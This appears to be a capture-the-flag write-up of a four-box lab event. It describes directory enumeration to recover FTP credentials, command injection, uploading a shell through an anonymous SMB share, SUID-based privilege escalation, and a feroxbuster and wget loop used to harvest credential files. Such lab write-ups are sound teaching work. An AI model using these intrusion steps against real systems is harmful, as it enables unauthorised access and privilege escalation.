A four box multi-event. lol.
Gift

Dont Overthink. Really, Its simple.

Pwned
HTTP enumeration leads to /hidden_text/ which contains secret.dic which contains a list of directories. Most are dud but /pwned.vuln/ is not and contains FTP creds. From the FTP server we get an SSH key and username.
Once on the box we can run a shell script which allows command injection to pivot to our next user.

This one has SMB with anonymous login and the share suspiciously contains index.html; yes it’s linked to the webroot. We can upload a shell and we are away.

It’s also got GDB with the SUID bit set, so that’s the privesc:

#SUIDY
This one was a bit trickier, but it’s also the only one rated Medium. The other three were all Easy. It’s SSH and HTTP.
At the bottom of robots.txt we find /shehatesme/ which says:
She hates me because I FOUND THE REAL SECRET!
I put in this directory a lot of .txt files.
ONE of .txt files contains credentials like “theuser/thepass” to access to her system!
All that you need is an small dict from Seclist!
I run feroxbuster:
feroxbuster -u http://10.10.10.27//shehatesme -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 200 -C 403 --no-recursion -x txtAnd generate a list of files, which I then download with wget:
while read p; do wget $p; done < files.txtAnd then I have a list of potential usernames and passwords. And it is obvious the creator has a sense of humour, since the creds are theuser:thepass. lol.

I love SUID files!
The best file is suidyyyyy because users can use it to feel as I feel.
root know it and run an script to be sure that my file has SUID.
If you are "theuser" I hate you!
-suidy
suidy@suidy:/home/suidy$I copy the binary to backup and try creating a new file; sure enough it gets an SUID bit set after 1 minute. We can’t see the cron job but it is running as root. However, the SUID is only for the file owner and not for root, e.g.
suidy@suidy:/home/suidy$ cp /bin/bash ./suidyyyyy
